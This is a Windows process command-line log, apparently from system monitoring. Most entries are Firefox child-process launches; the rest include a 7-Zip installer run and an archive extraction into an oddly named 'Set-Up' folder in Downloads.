"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4676 -childID 33 -isForBrowser -prefsHandle 6020 -prefMapHandle 4952 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c8a0f0a-9e65-4cd6-8940-d5bd571afcc1} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7720 -childID 34 -isForBrowser -prefsHandle 5972 -prefMapHandle 7164 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bacfb31d-5e19-49bc-8b4a-6dfbcfcced53} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7720 -childID 35 -isForBrowser -prefsHandle 9228 -prefMapHandle 8896 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce9aa35d-39e1-4b65-bf65-084846cc93f8} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8340 -childID 36 -isForBrowser -prefsHandle 9464 -prefMapHandle 6968 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fd6e4e59-32db-42a6-b63c-f28bed585900} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x49c 0x3fc

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5116 -childID 37 -isForBrowser -prefsHandle 9284 -prefMapHandle 5112 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {31fc3300-64f7-458d-abbf-22cdcd5aea2d} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7536 -childID 38 -isForBrowser -prefsHandle 5512 -prefMapHandle 5296 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e8c7e6f-7221-464a-ab08-a6c539bf36e2} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Users\Admin\Downloads\7z2409-x64.exe

"C:\Users\Admin\Downloads\7z2409-x64.exe"

C:\Program Files\7-Zip\7zG.exe

"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\#Pa$$w0rD__5566--0peÉ´_Set-Up!\" -ad -an -ai#7zMap16379:118:7zEvent3837

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5020 -childID 39 -isForBrowser -prefsHandle 8304 -prefMapHandle 8260 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {44580787-9516-420b-b7ac-f8c8985ad695} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9552 -childID 40 -isForBrowser -prefsHandle 5044 -prefMapHandle 8868 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6f4e03e7-cdfd-4531-b4e7-13e9a185da8b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4156 -childID 41 -isForBrowser -prefsHandle 7584 -prefMapHandle 5096 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4bcc77ad-6004-4d22-82ae-771179fd5a58} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3060 -childID 42 -isForBrowser -prefsHandle 8440 -prefMapHandle 6276 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {83fa6d4c-d585-469a-9718-d9ba6e9a4022} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9152 -childID 43 -isForBrowser -prefsHandle 4156 -prefMapHandle 6420 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7b381b1a-2141-4328-a783-0ae766400911} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6932 -childID 44 -isForBrowser -prefsHandle 7284 -prefMapHandle 5512 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d4414d50-6390-4df4-be00-39188d1b39c3} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5512 -childID 45 -isForBrowser -prefsHandle 2784 -prefMapHandle 5340 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a4f47f91-5d1a-41c2-a36b-faace1540283} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9108 -childID 46 -isForBrowser -prefsHandle 5512 -prefMapHandle 9384 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8431a72c-2440-4e83-8eb0-4232e3e49d0b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9832 -childID 47 -isForBrowser -prefsHandle 8252 -prefMapHandle 5528 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1c4e31b6-d551-483d-a067-cd0a9ac582f9} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10044 -childID 48 -isForBrowser -prefsHandle 10052 -prefMapHandle 10056 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {15749abb-2b3f-4896-b8cf-e2bbc63ab9ef} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3584 -childID 49 -isForBrowser -prefsHandle 8280 -prefMapHandle 7072 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {27690fae-6f9e-478f-a62f-d638d9eea52b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10280 -childID 50 -isForBrowser -prefsHandle 10368 -prefMapHandle 10364 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81b3d952-10f8-412e-9070-6ccc9b9fb662} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1360 -childID 51 -isForBrowser -prefsHandle 10512 -prefMapHandle 10520 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b9226cc7-acef-4268-bfae-290575332b4f} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10484 -childID 52 -isForBrowser -prefsHandle 10564 -prefMapHandle 10568 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e3691e4c-b9c2-4b74-a537-043ee7b44865} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10936 -childID 53 -isForBrowser -prefsHandle 11008 -prefMapHandle 11000 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {286a6fce-fc92-40b8-9b02-4d8f2dbf9baa} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11232 -childID 54 -isForBrowser -prefsHandle 11224 -prefMapHandle 11220 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f3e4d819-c874-4424-9075-ed956946a116} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11180 -childID 55 -isForBrowser -prefsHandle 5136 -prefMapHandle 11192 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c9677b2-da33-4085-bb35-61d06f73e021} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11560 -childID 56 -isForBrowser -prefsHandle 11552 -prefMapHandle 11548 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0f9d68a-dee0-417c-812f-1387baa6bdd8} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11692 -childID 57 -isForBrowser -prefsHandle 11476 -prefMapHandle 6460 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ba23eaab-2b61-4b53-8b8f-fbe92a084715} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7104 -childID 58 -isForBrowser -prefsHandle 6272 -prefMapHandle 6628 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b9a4312a-8868-4b0a-a6f0-9e065c7c40a7} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11836 -childID 59 -isForBrowser -prefsHandle 6152 -prefMapHandle 7300 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b1246101-7455-48a1-be2b-152a1189dcaa} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9872 -childID 60 -isForBrowser -prefsHandle 9324 -prefMapHandle 5084 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {96ed9566-a3f7-4fc3-a66d-726366faeb42} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11512 -childID 61 -isForBrowser -prefsHandle 5940 -prefMapHandle 11452 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {726d9c7c-1c80-42b7-912b-b1dcb923a9d7} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12120 -childID 62 -isForBrowser -prefsHandle 12064 -prefMapHandle 8868 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8614280c-b643-46bf-8a02-cf51b7016bd3} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12332 -childID 63 -isForBrowser -prefsHandle 12352 -prefMapHandle 12272 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e5372afc-47b0-4ee6-b167-b2d15c74ff2f} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10980 -childID 64 -isForBrowser -prefsHandle 11904 -prefMapHandle 5536 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {009b8509-de66-4437-8833-f620bf18e3fc} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5936 -childID 65 -isForBrowser -prefsHandle 6164 -prefMapHandle 9924 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6f1374bc-2082-4c2d-b832-e1a92c39f072} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11868 -childID 66 -isForBrowser -prefsHandle 7104 -prefMapHandle 4444 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a98e0212-759b-4b6f-a67e-093e82eaf5e5} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12396 -childID 67 -isForBrowser -prefsHandle 12372 -prefMapHandle 12360 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {69bb2ecf-8e5f-4f60-b399-0d7bdf2361b4} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11408 -childID 68 -isForBrowser -prefsHandle 12556 -prefMapHandle 10852 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {552b2b41-77bd-4063-8f6f-b71a60fee77d} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7112 -childID 69 -isForBrowser -prefsHandle 9708 -prefMapHandle 12240 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {12bc03dc-f4f8-48b0-9ed5-dc49f810cfdd} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12604 -childID 70 -isForBrowser -prefsHandle 9736 -prefMapHandle 12192 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {27d4eb4c-b067-401f-aafc-241b30784751} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9584 -childID 71 -isForBrowser -prefsHandle 6876 -prefMapHandle 4536 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95474218-48c4-4f5c-aea1-cce35a4cb00f} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10032 -childID 72 -isForBrowser -prefsHandle 5908 -prefMapHandle 10524 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {91a38594-946c-4cf7-9ec2-d877e4f366f0} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11216 -childID 73 -isForBrowser -prefsHandle 2956 -prefMapHandle 7704 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1133fa4c-0c1f-410d-b7f9-79b5ddcd11ca} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5924 -childID 74 -isForBrowser -prefsHandle 12056 -prefMapHandle 8132 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c120f8c1-895e-4f65-917c-ee9636ed595c} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12140 -childID 75 -isForBrowser -prefsHandle 10412 -prefMapHandle 11700 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b95bbcc4-d378-4e06-9867-263a2a2054ca} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11020 -childID 76 -isForBrowser -prefsHandle 9692 -prefMapHandle 11088 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2427bef-a5c0-4dcf-acdb-15c441b2e364} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12424 -childID 77 -isForBrowser -prefsHandle 12308 -prefMapHandle 11892 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64a2a800-d81b-4240-ad6f-96dfc28a5769} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10428 -childID 78 -isForBrowser -prefsHandle 3508 -prefMapHandle 1216 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e89477a9-e0ee-4a4e-88f0-f19eb5d89b14} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12056 -childID 79 -isForBrowser -prefsHandle 11912 -prefMapHandle 11460 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5edeb52e-47a8-4360-89ab-213d8c13e8c1} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10052 -childID 80 -isForBrowser -prefsHandle 7484 -prefMapHandle 8344 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c52d33a-dba6-4d44-9a64-1ca7934dfba4} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7480 -childID 81 -isForBrowser -prefsHandle 10024 -prefMapHandle 10196 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d3ebe57d-1d58-4db5-a6b5-314629b25b00} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10036 -childID 82 -isForBrowser -prefsHandle 11876 -prefMapHandle 9876 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4fed531-37bf-4dce-82a7-56eb5b1d5e1a} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9660 -childID 83 -isForBrowser -prefsHandle 10708 -prefMapHandle 5796 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e7e0acc9-3d90-490a-aa02-4e23295afbda} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1356 -childID 84 -isForBrowser -prefsHandle 9828 -prefMapHandle 7480 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bdde6e0f-825c-4232-b9a2-b4684f5d266e} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5904 -childID 85 -isForBrowser -prefsHandle 7068 -prefMapHandle 12340 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {39f6d08d-8bc2-4bb7-b123-3eb789e081f5} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5524 -childID 86 -isForBrowser -prefsHandle 10732 -prefMapHandle 10736 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d1310fb-18f6-4b04-91eb-f9b3bba39343} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11716 -childID 87 -isForBrowser -prefsHandle 10740 -prefMapHandle 10068 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf87c202-b6b2-4856-b403-26384bcc4aad} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9988 -childID 88 -isForBrowser -prefsHandle 9396 -prefMapHandle 9792 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d44afa1-0b7b-4178-a7d0-8a85e0ba8c15} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1216 -childID 89 -isForBrowser -prefsHandle 11136 -prefMapHandle 11140 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2462466d-6da0-4f4a-9356-a73b9cb1711f} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7176 -childID 90 -isForBrowser -prefsHandle 11240 -prefMapHandle 10604 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1d41df08-7981-4919-9ff9-e80debefc8c3} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

